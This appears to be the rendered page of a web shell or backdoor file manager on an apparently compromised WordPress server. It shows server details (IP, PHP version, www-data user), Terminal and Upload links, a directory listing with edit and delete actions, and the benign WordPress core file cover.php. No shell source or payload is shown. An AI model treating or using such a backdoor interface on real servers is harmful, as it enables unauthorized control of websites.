7.4.33 | Linux x86_64
Server128.199.10.0
Userwww-data (uid:33)
PHP7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-includes/blocks
View: cover.php
<?php /** * Server-side rendering of the `core/cover` block. * * @package WordPress */ /** * Renders the `core/cover` block on server. * * @since 6.0.0 * * @param array $attributes The block attributes. * @param string $content The block rendered content. * * @return string Returns the cover block markup, if useFeaturedImage is true. */ function render_block_core_cover( $attributes, $content ) { // Handle embed video background. if ( isset( $attributes['backgroundType'] ) && 'embed-video' === $attributes['backgroundType'] && isset( $attributes['url'] ) && ! empty( $attributes['url'] ) && is_string( $attributes['url'] ) ) { $url = $attributes['url']; // Use WordPress's native oEmbed processing (includes caching). $oembed_html = wp_oembed_get( $url ); if ( $oembed_html ) { // Extract iframe src from the oEmbed HTML. preg_match( '/src=["\']([^"\']+)["\']/', $oembed_html, $src_matches ); if ( ! empty( $src_matches[1] ) ) { $iframe_src = $src_matches[1]; // Detect provider from iframe src URL. $lower_src = strtolower( $iframe_src ); $provider = null; if ( strpos( $lower_src, 'youtube.com' ) !== false || strpos( $lower_src, 'youtu.be' ) !== false ) { $provider = 'youtube'; } elseif ( strpos( $lower_src, 'vimeo.com' ) !== false ) { $provider = 'vimeo'; } elseif ( strpos( $lower_src, 'videopress.com' ) !== false ) { $provider = 'videopress'; } elseif ( strpos( $lower_src, 'wordpress.tv' ) !== false ) { $provider = 'wordpress-tv'; } // Modify iframe src to add background video parameters based on provider. $parsed_url = wp_parse_url( $iframe_src ); if ( $parsed_url && isset( $parsed_url['host'] ) ) { // Parse existing query parameters. $query_params = array(); if ( isset( $parsed_url['query'] ) ) { parse_str( $parsed_url['query'], $query_params ); } // Add background video parameters based on provider. if ( 'youtube' === $provider ) { $query_params['autoplay'] = '1'; $query_params['mute'] = '1'; $query_params['loop'] = '1'; $query_params['controls'] = '0'; $query_params['modestbranding'] = '1'; $query_params['playsinline'] = '1'; // For loop to work, we need the playlist parameter. $path = $parsed_url['path'] ?? ''; $path_segments = explode( '/', $path ); $video_id = end( $path_segments ); if ( $video_id ) { $query_params['playlist'] = $video_id; } } elseif ( 'vimeo' === $provider ) { $query_params['autoplay'] = '1'; $query_params['muted'] = '1'; $query_params['loop'] = '1'; $query_params['background'] = '1'; $query_params['controls'] = '0'; $query_params['transparent'] = '0'; } elseif ( 'videopress' === $provider || 'wordpress-tv' === $provider ) { $query_params['autoplay'] = '1'; $query_params['loop'] = '1'; $query_params['muted'] = '1'; } // Rebuild the URL with new parameters. $iframe_src = $parsed_url['scheme'] . '://' . $parsed_url['host']; if ( isset( $parsed_url['path'] ) ) { $iframe_src .= $parsed_url['path']; } if ( ! empty( $query_params ) ) { $iframe_src .= '?' . http_build_query( $query_params ); } } // Build the iframe HTML that will replace the figure. $iframe_html = sprintf( '<div class="wp-block-cover__video-background wp-block-cover__embed-background"><iframe src="%s" title="Background video" frameborder="0" allow="autoplay; fullscreen"></iframe></div>', esc_url( $iframe_src ) ); // Use the HTML API to find and replace the figure.wp-block-embed element. $processor = new WP_HTML_Tag_Processor( $content ); if ( $processor->next_tag( array( 'tag_name' => 'FIGURE', 'class_name' => 'wp-block-embed', ) ) ) { // Use regex with PREG_OFFSET_CAPTURE to find the position of the figure element. // This follows the same pattern used for featured image insertion below. $figure_pattern = '/<figure\s+[^>]*\bwp-block-embed\b[^>]*>.*?<\/figure>/is'; if ( 1 === preg_match( $figure_pattern, $content, $matches, PREG_OFFSET_CAPTURE ) ) { $figure_start = $matches[0][1]; $figure_length = strlen( $matches[0][0] ); $figure_end = $figure_start + $figure_length; // Replace the figure element with the iframe HTML. $content = substr( $content, 0, $figure_start ) . $iframe_html . substr( $content, $figure_end ); } } } } return $content; } if ( 'image' !== $attributes['backgroundType'] || false === $attributes['useFeaturedImage'] ) { return $content; } $object_position = isset( $attributes['focalPoint'] ) ? round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%' : null; if ( ! ( $attributes['hasParallax'] || $attributes['isRepeated'] ) ) { $attr = array( 'class' => 'wp-block-cover__image-background', 'data-object-fit' => 'cover', ); if ( $object_position ) { $attr['data-object-position'] = $object_position; $attr['style'] = 'object-position:' . $object_position . ';'; } $image = get_the_post_thumbnail( null, $attributes['sizeSlug'] ?? 'post-thumbnail', $attr ); } else { if ( in_the_loop() ) { update_post_thumbnail_cache(); } $current_featured_image = get_the_post_thumbnail_url( null, $attributes['sizeSlug'] ?? null ); if ( ! $current_featured_image ) { return $content; } $current_thumbnail_id = get_post_thumbnail_id(); $processor = new WP_HTML_Tag_Processor( '<div></div>' ); $processor->next_tag(); $current_alt = trim( strip_tags( get_post_meta( $current_thumbnail_id, '_wp_attachment_image_alt', true ) ) ); if ( $current_alt ) { $processor->set_attribute( 'role', 'img' ); $processor->set_attribute( 'aria-label', $current_alt ); } $processor->add_class( 'wp-block-cover__image-background' ); $processor->add_class( 'wp-image-' . $current_thumbnail_id ); if ( $attributes['hasParallax'] ) { $processor->add_class( 'has-parallax' ); } if ( $attributes['isRepeated'] ) { $processor->add_class( 'is-repeated' ); } $styles = 'background-position:' . ( $object_position ?? '50% 50%' ) . ';'; $styles .= 'background-image:url(' . esc_url( $current_featured_image ) . ');'; $processor->set_attribute( 'style', $styles ); $image = $processor->get_updated_html(); } /* * Inserts the featured image between the (1st) cover 'background' `span` and 'inner_container' `div`, * and removes eventual whitespace characters between the two (typically introduced at template level) */ $inner_container_start = '/<div\b[^>]+wp-block-cover__inner-container[\s|"][^>]*>/U'; if ( 1 === preg_match( $inner_container_start, $content, $matches, PREG_OFFSET_CAPTURE ) ) { $offset = $matches[0][1]; $content = substr( $content, 0, $offset ) . $image . substr( $content, $offset ); } return $content; } /** * Registers the `core/cover` block renderer on server. * * @since 6.0.0 */ function register_block_core_cover() { register_block_type_from_metadata( __DIR__ . '/cover', array( 'render_callback' => 'render_block_core_cover', ) ); } add_action( 'init', 'register_block_core_cover' );
NameSizeActions
accordion/--
accordion-heading/--
accordion-item/--
accordion-item.php3KView Edit Del
accordion-panel/--
accordion.php1.1KView Edit Del
archives/--
archives.php4.3KView Edit Del
audio/--
avatar/--
avatar.php5.5KView Edit Del
block/--
block.php4.1KView Edit Del
blocks-json.php194.5KView Edit Del
breadcrumbs/--
breadcrumbs.php18.6KView Edit Del
button/--
button.php1.7KView Edit Del
buttons/--
calendar/--
calendar.php5.9KView Edit Del
categories/--
categories.php4.8KView Edit Del
code/--
column/--
columns/--
comment-author-name/--
comment-author-name.php2.1KView Edit Del
comment-content/--
comment-content.php2.4KView Edit Del
comment-date/--
comment-date.php1.8KView Edit Del
comment-edit-link/--
comment-edit-link.php1.7KView Edit Del
comment-reply-link/--
comment-reply-link.php2KView Edit Del
comment-template/--
comment-template.php4.4KView Edit Del
comments/--
comments-pagination/--
comments-pagination-next/--
comments-pagination-next.php1.9KView Edit Del
comments-pagination-numbers/--
comments-pagination-numbers.php1.6KView Edit Del
comments-pagination-previous/--
comments-pagination-previous.php1.7KView Edit Del
comments-pagination.php1.2KView Edit Del
comments-title/--
comments-title.php2.7KView Edit Del
comments.php6.6KView Edit Del
cover/--
cover.php7.2KView Edit Del
details/--
details.php1.5KView Edit Del
embed/--
file/--
file.php1.8KView Edit Del
footnotes/--
footnotes.php3.7KView Edit Del
freeform/--
gallery/--
gallery.php8.9KView Edit Del
group/--
heading/--
heading.php1.3KView Edit Del
home-link/--
home-link.php5.3KView Edit Del
html/--
icon/--
icon.php4KView Edit Del
image/--
image.php17.2KView Edit Del
index.php5KView Edit Del
latest-comments/--
latest-comments.php5.4KView Edit Del
latest-posts/--
latest-posts.php8.6KView Edit Del
legacy-widget/--
legacy-widget.php3.9KView Edit Del
list/--
list-item/--
list.php1.2KView Edit Del
loginout/--
loginout.php1.6KView Edit Del
math/--
media-text/--
media-text.php4.2KView Edit Del
missing/--
more/--
navigation/--
navigation-link/--
navigation-link.php15.8KView Edit Del
navigation-overlay-close/--
navigation-overlay-close.php1.7KView Edit Del
navigation-submenu/--
navigation-submenu.php11.5KView Edit Del
navigation.php63.3KView Edit Del
nextpage/--
page-list/--
page-list-item/--
page-list-item.php361BView Edit Del
page-list.php14.7KView Edit Del
paragraph/--
paragraph.php1.1KView Edit Del
pattern/--
pattern.php1.7KView Edit Del
post-author/--
post-author-biography/--
post-author-biography.php1.5KView Edit Del
post-author-name/--
post-author-name.php1.9KView Edit Del
post-author.php2.7KView Edit Del
post-comments-count/--
post-comments-count.php1.2KView Edit Del
post-comments-form/--
post-comments-form.php2.7KView Edit Del
post-comments-link/--
post-comments-link.php2.2KView Edit Del
post-content/--
post-content.php2.3KView Edit Del
post-date/--
post-date.php3.6KView Edit Del
post-excerpt/--
post-excerpt.php4.2KView Edit Del
post-featured-image/--
post-featured-image.php9KView Edit Del
post-navigation-link/--
post-navigation-link.php4.7KView Edit Del
post-template/--
post-template.php5.6KView Edit Del
post-terms/--
post-terms.php3.6KView Edit Del
post-time-to-read/--
post-time-to-read.php6.3KView Edit Del
post-title/--
post-title.php2.1KView Edit Del
preformatted/--
pullquote/--
query/--
query-no-results/--
query-no-results.php1.8KView Edit Del
query-pagination/--
query-pagination-next/--
query-pagination-next.php3.6KView Edit Del
query-pagination-numbers/--
query-pagination-numbers.php4.6KView Edit Del
query-pagination-previous/--
query-pagination-previous.php3.4KView Edit Del
query-pagination.php1.1KView Edit Del
query-title/--
query-title.php2.7KView Edit Del
query-total/--
query-total.php2.4KView Edit Del
query.php5.6KView Edit Del
quote/--
read-more/--
read-more.php1.8KView Edit Del
require-dynamic-blocks.php4.9KView Edit Del
require-static-blocks.php520BView Edit Del
rss/--
rss.php4.5KView Edit Del
search/--
search.php23.3KView Edit Del
separator/--
shortcode/--
shortcode.php735BView Edit Del
site-logo/--
site-logo.php6.2KView Edit Del
site-tagline/--
site-tagline.php1.2KView Edit Del
site-title/--
site-title.php1.8KView Edit Del
social-link/--
social-link.php66KView Edit Del
social-links/--
spacer/--
table/--
tag-cloud/--
tag-cloud.php1.6KView Edit Del
template-part/--
template-part.php10.2KView Edit Del
term-count/--
term-count.php1.8KView Edit Del
term-description/--
term-description.php1.7KView Edit Del
term-name/--
term-name.php2KView Edit Del
term-template/--
term-template.php4.4KView Edit Del
terms-query/--
text-columns/--
verse/--
video/--
video.php2.7KView Edit Del
widget-group/--
widget-group.php2.4KView Edit Del